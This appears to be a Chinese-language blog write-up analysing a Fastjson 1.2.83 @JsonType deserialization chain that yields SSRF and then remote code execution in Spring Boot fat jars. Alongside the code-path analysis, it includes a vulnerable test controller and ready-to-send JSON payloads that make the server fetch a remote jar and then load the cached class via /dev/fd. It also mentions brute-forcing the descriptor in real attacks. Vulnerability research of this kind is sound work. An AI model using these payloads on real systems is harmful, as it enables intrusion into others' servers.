漏洞原理
该漏洞的实现方式并不是和传统fastjson类似通过反序列化时会触发类的setter和getter方法实现,而是利用parse过程中checkAutoType会替换resource中的.为/+spring fat jar使用LaunchedURLClassLoader为类加载器(支持jar://格式读取jar包)+asm直接操作字节码绕过类名校验的组合利用方式实现ssrf
漏洞分析
可以先看漏洞复现的过程,在复现过程中可以发现,该漏洞有几个关键问题需要解决:
1.为什么要用打包的fatjar通过java -jar启动,而不能直接通过spring application?
2.payload中的外部地址为什么是十进制的ip,而不是标准的.格式的ip地址,例如127.0.0.1?
3.为什么高版本jdk的地址要用jar:http:..2130706433:31337.f2!.E11,而不能和低版本一致使用jar:http://2130706433:31337/f2!/E11?
4.为什么要用asm生成恶意类?
先直接通过spring application启动项目
发送payload1进入断点
入口点一样也是parse,中间无关过程就不跟了,和以前的链一样。一直跟进到com.alibaba.fastjson.parser.DefaultJSONParser#parse(java.lang.Object)
{"@type"}格式的反序列化对象会进入LBRACE,判断当前容器使用了原生java集合还是fastjson的JsonObject,因为这里引入了fastjson所以会进入new JSONObject(lexer.isEnabled(Feature.OrderedField))创建JSONObject,随后将object放进parseObject里,步入com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
该方法中会取出目标的typename,并判断该typename是否是一些特殊类(HashMap、LinkedHashMap、纯数字),此处都不符合,所以会进入checkAutoType的校验中,步入com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
可以发现该方法中会先对是否开启safemode进行判断,如果服务开启了safemode那么直接会抛出异常终止反序列化流程,这就是为什么可以通过开启safemode修复该漏洞

再往下走就是一些方法黑白名单的校验,通过hash进行判断是否为名单中的方法,该漏洞不涉及就不做深入分析,往下继续跟进入关键部分,也是该漏洞形成的关键原因
在获取resource之前,会先将typename的.改成/去发现类,这就是为什么高版本的jdk可以通过将/改成.的形式(jar:http:..2130706433:31337.f2!.E11)绕过jdk底层的校验,也解释了问题二payload中为什么要用十进制的ip,就是因为防止该步骤破坏ip格式。例如目标类是java.lang.Object,那么经过该步骤后就会转换成java/lang/Object。之所以需要将目标类的.替换成/是因为后续向类加载器请求类的元数据的时候,类加载器要求传入的路径必须是/分隔的资源路径,通过转换之后,fastjson就能通过getResourceAsStream获取类的字节码。继续跟进,步入java.lang.ClassLoader#getResourceAsStream
这个时候可以发现,getResource返回了null,并没有获取到目标类的url地址。这和使用的类加载器紧密相关,根据调试信息可以发现,当前使用的类加载器是AppClassLoader,这个类加载器在底层维护了一个base url,而这个base url全是本地磁盘地址,所以这个类加载器并不支持加载http或jar://http这样的网络地址。如果需要具体分析可以跟进getResource去看,这里忽略。而如果用spring-boot-maven-plugin进行打包,用SpringBoot打包出来的fatjar则使用的默认类加载器是LaunchedURLClassLoader,这个类加载器就支持嵌套jar包的读取。这是fatjar的特性,因为spring boot打出的fatjar内部嵌套了第三方jar包,用普通的类加载器根本无法读取,所以springboot自定义了一个classloader来加载。这也就解释了上面的问题一为什么要用打包的fatjar通过java -jar启动。
所以这里我们将项目打包成一个fatjar,通过java -jar启动。为了方便调试,选择使用idea的jar应用程序调试
再重新执行payload1(这里使用高版本..绕过的格式)

可以发现获取的resource和第一种一致
同时发现这里使用了LaunchedURLClassLoader成功获取了url地址,之后通过getInputStream读取数据流造成SSRF。底层根据协议类型(JAR或文件)会将JarFile或文件流注册到全局的closeables容器中,以便在解析器关闭时统一释放所有文件句柄,防止资源泄漏。在 URLClassLoader中,closeables是一个内部的HashMap<Object, Object>。它的作用是像管家一样,记录所有由这个ClassLoader打开的底层物理资源,以便在ClassLoader.close()被调用时,能够统一关闭这些资源,防止内存泄漏和文件描述符泄漏。当请求的资源在JAR包内(如 jar:http:..2130706433:31337.f2!.E11或jar:file:.dev.fd.34!.E34)时,进入 JarURLConnection分支。对于jar:http://协议,底层会先通过网络下载f.jar到本地/tmp临时目录,然后通过new JarFile("/tmp/jar_cachexxx.tmp")打开它。此时,操作系统会分配一个文件描述符(FD),比如FD=34。这相当于在Map中强引用了jar这个JarFile对象。只要URLClassLoader实例存活,closeables Map就存活,JarFile对象就不会被垃圾回收。只要JarFile对象不被GC,它底层持有的操作系统FD就一直处于打开状态,这就直接引出了后续高版本JDK的FD盲注
继续往下走
判断恶意类是否存在JsonType注解,如果存在JsonType注解那么就会执行loadClass加载类。同时可以看到autoTypeSupport和jsonType之间是或的关系,所以只要恶意类有@JsonType注解,则可以忽略是否开启autotype
漏洞复现
ParseController
package com.fjhunter.victim;
import com.alibaba.fastjson.JSON;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
@RestController
public class ParseController {
@PostMapping(value = "/parse", consumes = "application/json")
public String parse(@RequestBody String body) {
Object result = JSON.parse(body);
return "parsed: " + result;
}
@GetMapping("/probe")
public String probe(@RequestParam String resource,
@RequestParam(required = false) String type) throws Exception {
StringBuilder sb = new StringBuilder();
ClassLoader cl = ParseController.class.getClassLoader();
sb.append("classloader=").append(cl.getClass().getName()).append('\n');
InputStream is = null;
try {
is = cl.getResourceAsStream(resource);
} catch (Throwable t) {
sb.append("getResourceAsStream threw ").append(t).append('\n');
}
sb.append("getResourceAsStream=").append(is == null ? "null" : "OK").append('\n');
if (is != null) {
byte[] data = readAll(is);
is.close();
sb.append("bytes=").append(data.length).append('\n');
String content = new String(data, "ISO-8859-1");
sb.append("hasJsonTypeConstant=")
.append(content.contains("Lcom/alibaba/fastjson/annotation/JSONType;")).append('\n');
}
if (type != null) {
try {
Class<?> c = cl.loadClass(type);
sb.append("loadClass=OK ").append(c).append('\n');
} catch (Throwable t) {
sb.append("loadClass=").append(t.getClass().getName())
.append(": ").append(String.valueOf(t.getMessage()).replace('\n', ' ')).append('\n');
}
}
return sb.toString();
}
private static byte[] readAll(InputStream is) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[4096];
int n;
while ((n = is.read(buf)) != -1) {
bos.write(buf, 0, n);
}
return bos.toByteArray();
}
}
执行mvn clean package,打包成jar启动
java -jar victim-1.0.0.jar
执行payload1,目的是利用SSRF获取远程的恶意类
POST /parse HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:18080
{"@type":"jar:http://2130706433:31337/f2!/E11"} //针对jdk8低版本
{"@type":"jar:http:..2130706433:31337.f2!.E11"} //针对jdk9+版本
成功请求服务,将远程恶意类缓存并分配一个fd。由于本地调试,为了方便就通过查找victim jar进程的方式定向查找缓存的fd编号。实战中可以直接遍历盲打
ps aux | grep "victim-1.0.0.jar" | grep -v grep //查找jar进程
lsof -p 65891 2>/dev/null | grep "jar_cache" //查找fd
可以查到缓存的fd编号是34,然后执行payload2通过本地缓存加载恶意类实现RCE
POST /parse HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:18080
{"@type":"jar:file:.dev.fd.34!.E34"}

FastJson 1.2.83 @JsonType RCE漏洞分析
https://blog.atoposx.com/archives/019ff91d-dd0a-7379-a234-2c3495985248
评论